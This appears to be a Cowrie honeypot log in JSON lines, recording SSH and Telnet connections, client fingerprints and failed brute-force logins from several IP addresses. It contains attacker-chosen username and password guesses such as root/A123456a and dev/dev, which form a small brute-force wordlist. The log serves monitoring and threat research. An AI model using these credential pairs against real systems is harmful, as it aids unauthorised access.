{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:11.307370Z","src_ip":"31.40.204.166","session":"3f08282fed1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:11.481891Z","src_ip":"77.94.47.83","session":"aa97e308b304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:11.782616Z","src_ip":"31.40.204.166","session":"3f08282fed1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:12.912392Z","src_ip":"31.40.204.166","session":"3f08282fed1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34438,"dst_ip":"10.17.0.5","dst_port":23,"session":"9969eee6cc8a","protocol":"telnet","message":"New connection: 152.42.224.71:34438 (10.17.0.5:23) [session: 9969eee6cc8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:14.765995Z"}
{"eventid":"cowrie.session.closed","duration":91.1990134716034,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:15.796754Z","src_ip":"152.42.224.71","session":"0a662b65600a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34450,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd6ce286bcae","protocol":"telnet","message":"New connection: 152.42.224.71:34450 (10.17.0.5:23) [session: cd6ce286bcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:15.822614Z"}
{"eventid":"cowrie.session.closed","duration":113.94214630126953,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:16.524077Z","src_ip":"152.42.224.71","session":"aab720c82eed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.93080401420593,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:19.159359Z","src_ip":"152.42.224.71","session":"354012320c48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59368,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f5fb7263b8d","protocol":"ssh","message":"New connection: 31.40.204.166:59368 (159.203.135.109:22) [session: 6f5fb7263b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:22.723088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:22.727395Z","src_ip":"31.40.204.166","session":"6f5fb7263b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:22.889564Z","src_ip":"31.40.204.166","session":"6f5fb7263b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:23.322683Z","src_ip":"31.40.204.166","session":"6f5fb7263b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:24.492038Z","src_ip":"31.40.204.166","session":"6f5fb7263b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.68883991241455,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:31.169890Z","src_ip":"152.42.224.71","session":"36505acaaf8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57136,"dst_ip":"159.203.135.109","dst_port":22,"session":"e024beccb275","protocol":"ssh","message":"New connection: 31.40.204.166:57136 (159.203.135.109:22) [session: e024beccb275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:34.609519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:34.614392Z","src_ip":"31.40.204.166","session":"e024beccb275","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:34.784578Z","src_ip":"31.40.204.166","session":"e024beccb275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:35.516583Z","src_ip":"31.40.204.166","session":"e024beccb275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:36.694638Z","src_ip":"31.40.204.166","session":"e024beccb275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36586,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb5aa7989b73","protocol":"telnet","message":"New connection: 152.42.224.71:36586 (10.17.0.5:23) [session: cb5aa7989b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:36.957083Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37620,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d99a85fb8af","protocol":"ssh","message":"New connection: 103.82.132.16:37620 (159.203.135.109:22) [session: 7d99a85fb8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:39.788110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:39.794053Z","src_ip":"103.82.132.16","session":"7d99a85fb8af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:40.052614Z","src_ip":"103.82.132.16","session":"7d99a85fb8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asshole","message":"login attempt [root/asshole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:40.830615Z","src_ip":"103.82.132.16","session":"7d99a85fb8af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:42.094373Z","src_ip":"103.82.132.16","session":"7d99a85fb8af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36590,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fdd04b8c7a7","protocol":"telnet","message":"New connection: 152.42.224.71:36590 (10.17.0.5:23) [session: 5fdd04b8c7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:43.619157Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":38416,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8ec1602f5a3","protocol":"ssh","message":"New connection: 103.75.183.219:38416 (10.17.0.5:22) [session: b8ec1602f5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:44.185571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:44.190083Z","src_ip":"103.75.183.219","session":"b8ec1602f5a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:44.439896Z","src_ip":"103.75.183.219","session":"b8ec1602f5a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crjhgbjy","message":"login attempt [root/crjhgbjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:45.188302Z","src_ip":"103.75.183.219","session":"b8ec1602f5a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36594,"dst_ip":"10.17.0.5","dst_port":23,"session":"829082df3d2a","protocol":"telnet","message":"New connection: 152.42.224.71:36594 (10.17.0.5:23) [session: 829082df3d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:45.838879Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:46.442163Z","src_ip":"103.75.183.219","session":"b8ec1602f5a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47908,"dst_ip":"159.203.135.109","dst_port":22,"session":"b86c6c6fd3ae","protocol":"ssh","message":"New connection: 31.40.204.166:47908 (159.203.135.109:22) [session: b86c6c6fd3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:46.985162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:47.000217Z","src_ip":"31.40.204.166","session":"b86c6c6fd3ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:47.404801Z","src_ip":"31.40.204.166","session":"b86c6c6fd3ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:47.884281Z","src_ip":"31.40.204.166","session":"b86c6c6fd3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:49.016129Z","src_ip":"31.40.204.166","session":"b86c6c6fd3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00112771987915,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:49.544814Z","src_ip":"152.42.224.71","session":"c43475eefeac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00404238700867,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:52.318343Z","src_ip":"152.42.224.71","session":"c188ffed81eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.4390332698822,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:53.261524Z","src_ip":"152.42.224.71","session":"cd6ce286bcae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57640,"dst_ip":"10.17.0.5","dst_port":23,"session":"409402fac6b1","protocol":"telnet","message":"New connection: 152.42.224.71:57640 (10.17.0.5:23) [session: 409402fac6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:53.510508Z"}
{"eventid":"cowrie.session.closed","duration":56.781166791915894,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:55.462920Z","src_ip":"152.42.224.71","session":"5a7ae951c3cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.11903786659241,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:55.884874Z","src_ip":"152.42.224.71","session":"9969eee6cc8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":107.91971921920776,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:56.142700Z","src_ip":"152.42.224.71","session":"0d0338a931ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34886,"dst_ip":"159.203.135.109","dst_port":22,"session":"19a82c19a8e7","protocol":"ssh","message":"New connection: 31.40.204.166:34886 (159.203.135.109:22) [session: 19a82c19a8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:58.987146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:58.992429Z","src_ip":"31.40.204.166","session":"19a82c19a8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:59.124347Z","src_ip":"31.40.204.166","session":"19a82c19a8e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52178,"dst_ip":"10.17.0.5","dst_port":23,"session":"1afae91cdd28","protocol":"telnet","message":"New connection: 152.42.224.71:52178 (10.17.0.5:23) [session: 1afae91cdd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:59.312204Z"}
